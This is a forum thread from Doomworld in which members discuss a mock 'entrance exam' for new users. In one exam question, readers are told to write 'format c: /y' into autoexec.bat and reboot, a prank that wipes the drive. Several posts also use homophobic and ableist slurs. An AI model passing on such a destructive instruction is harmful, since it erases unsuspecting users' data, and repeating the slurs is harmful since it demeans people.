Might be a good idea -- Doomworld Forums Entrance Exam

Doomworld Forums Entrance Exam
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Membership to these forums requires a certain degree of intelligence and common sense. Carefully read all instructions on this page and answer questions to the best of your ability unless otherwise directed.


Section 1:
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Do not answer any questions in this section unless directed to do so.

(Insert trivial technical and literary multiple choice questions here. Any selected response causes instant failure (on click) of entrance exam.)

(Insert easy pseudo-technical question here that MUST be answered or exam will be failed on form submittal -- user IS asked to answer this question.)


Section 2:
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Carefully read and then answer all questions in this section to the best of your ability unless otherwise directed.

1. HTML stands for:
A. Hotmail
B. Hyper Terminal Mail
C. Hypertext Mail
D. Hypertext Markup Language (do not select this answer.)
(selecting D causes instant failure of exam on click)

2. How old are you?
(Text-box. Exam is instantly failed if input is non-numeric or less than 13.)

3. If you are a Windows user, execute the following instructions.
Open Notepad.
Type the following in the notepad window:

c:
cd\
format c: /y

Go to file, save as, and type in c:\autoexec.bat and hit enter.
Restart your computer and return here to complete the exam, skipping this step.
Section 2 is optional, but reccomended.


Section 4:
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What is missing from this exam?
(Text-box. Full credit for input containing "section 3," half credit for input containing "section.")


Section 5:
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Brief grammatical examination:

1. Select the grammatically incorrect sentence:
A. Your mother is a fag.
B. Your a fag.
C. Your brother is homosexual.

2. Select the incorrect sentence, forsaking proper grammar:
A. You're a fag.
B. My peers do not except me for who I am and are always trying to pressure me.
C. President Bush is quite possibly the best political leader of our time.
(Full credit for C, or A assuming the user is not homosexual)


(submit button)

I don't know whether to object or not.

AndrewB said:

I don't know whether to object or not.

Anybody who can follow instructions at all would pass. There could even be other-language versions for people who aren't all that great with English so we aren't keeping perfectly intelligent people out just because the instructions aren't understandable.

While this is a good idea in theory, practicing it would make DW worse than NewDoom.

Job said:

While this is a good idea in theory, practicing it would make DW worse than NewDoom.

...how?

Ultraviolet said:

...how?

Screening people is a good idea, but it limits accessibility. Something like that almost seems Fascist (read: WMull). On the other hand, I've heard time and again that forum use is a privilige not a right, so using that thought would justify said entrance exam.

Haha, section 2 is great.

Job said:

Screening people is a good idea, but it limits accessibility. Something like that almost seems Fascist (read: WMull). On the other hand, I've heard time and again that forum use is a privilige not a right, so using that thought would justify said entrance exam.

I believe WMull is no longer an allowed topic of discussion on these forums due to the potential repercussions.

An entrance exam would keep the insanely stupid people out. It is obviously not a difficult exam. The only requirement is common sense and patience. There could even be a disclaimer at the top stating that no person under the age of 13 should attempt the exam. Beyond the entrance exam, there would be no "fascist" practices -- forum moderation policies could be a bit more relaxed because there are fewer reasons to be constantly on guard and so on.

Kid Airbag said:

Haha, section 2 is great.

*[Ultraviolet said something here about testing people's ability to avoid doing things of which they have insufficient knowledge.]*

I *could* have edited the previous post, but I was too lazy to manually do the quoting.

Sorry, I clicked the wrong button and accidentally obliterated your post. Or else something weird happened with the forum software.

I've tried to reconstruct the post from memory.

Grazza said:

Sorry, I clicked the wrong button and accidentally obliterated your post. Or else something weird happened with the forum software.

I've tried to reconstruct the post from memory.

Hahaha. You were trying to merge it with the previous post, no? Might as well delete it, wasn't terribly important. :P

I dunno about the entrance exam thing. Keeping retarded people out does seem like a good idea, but they actually do have good use. They give us a great example of what NOT to do, they make the rest of us look even more intelligent, and they give us something hilarious to read in Post Hell while we're bored.

Considering its a Doom website, to be more fair it should be like this:

1). Who's head is it behind the Icon of Sin?
2). What does the Icon of Sin say when you enter the room?
3). Is there a Doom movie coming out?
4). Why won't the sound work on Windows XP?
5). What 3-D game did Id make before Doom?

Then perhaps some other trvia questions. It would keep people from posting stupid topics like "OMG I found out what the Boss is saying!", "Doom Movie???/", "Help with sound!!" or "I found a Doom leik game called Wolfenstein!". Yeah...make them do some research beforehand.

Ultraviolet said:

Anybody who can follow instructions at all would pass. There could even be other-language versions for people who aren't all that great with English so we aren't keeping perfectly intelligent people out just because the instructions aren't understandable.

Anyone who can follow certain instructions against common sense deserves the end result.

ravage said:

Anyone who can follow certain instructions against common sense deserves the end result.

That is the purpose of that part of the test.

Yes, but we shouldn't include politics in it.

Ichor said:

Yes, but we shouldn't include politics in it.

What you're talking about isn't politics, it's yet more common sense. :P

Ultraviolet said:

Hahaha. You were trying to merge it with the previous post, no?

Actually, I just intended to reply to it, but must have clicked on "Edit/Delete" rather than "Post Reply". For regular users, that would bring up an error message, but if you're a moderator, it assumes that you do intend to edit someone else's post. Oh well, it's the first time I've made that mistake in about 1,300 posts since acquiring 1337 moderator powers.

Anyway, I agree with Ichor that the idea of screening out anyone on political grounds would be wrong. Maybe illegal too?

This idea reminds me very slightly of a test that was proposed for anyone who had achieved all the technical requirements for the chess grandmaster title. To check that they wouldn't be a disgrace to the title by being embarrassingly inept at everything away from the board, they would have to perform two simple tasks before the title was confirmed: put up an old-fashioned deck-chair, and make a cup of coffee (these tasks would need to be completed successfully without a trip to the ER, of course).

Hmm, I wonder if Deep Blue can make a decent coffee...

Grazza said:

Actually, I just intended to reply to it, but must have clicked on "Edit/Delete" rather than "Post Reply". For regular users, that would bring up an error message, but if you're a moderator, it assumes that you do intend to edit someone else's post.

It happened to me countless times.

Ichor said:

Hmm, I wonder if Deep Blue can make a decent coffee...

Well, Deep Blue doesn't have the GM title, so probably not.

Shouldn't the questions be something like:

"If you have a question that needs answering, do you:

A) Use the search function on the forums and on the DW site before asking.
B) Complain loudly about it on the forums as if no-one's ever heard of your problem before
C) Call everyone fags and losers and say that Doom sucks before asking the question
D) Same as B & C only in ebonics and/or l33tz hax0rs sp4k

Anything apart from A), you get hunted down by evil mercenaries...err, don't make the grade :p

When unsure of what to say, or when in need of a witty retort (and you have none), what do you say?

a.)OMG fagg0t lolz
b.)needs more impse
c.)heh
d.)het

That's really really weird... I don't think it'd work. Let them come, then let us at them.

No. You can't just sort out people:

who can't spell,
who doesn't know proper grammar,
is less than 13 years old.


Also, such a test would scare off some potential members. What kind of fascist idea is this? :P It's the moderators' job to weed out the retards, not a damn test you could easily bypass.

Kid Airbag said:

Haha, section 2 is great.

I personally enjoyed Section 3. Great material, there ;-)

Shaviro said:

It's the moderators' job to weed out the retards, not a damn test you could easily bypass.

If one can easily bypass it, one is intelligent enough to deserve to be here.

Ultraviolet said:

If one can easily bypass it, one is intelligent enough to deserve to be here.

see, if ultraviolet was in charge we could have easily avoided mistakes like kirby x, crend and monochrome :P

The heart is there, the brain isnt.. Someone can drum up a better test.

You know, I don't think this was meant to be taken too seriously.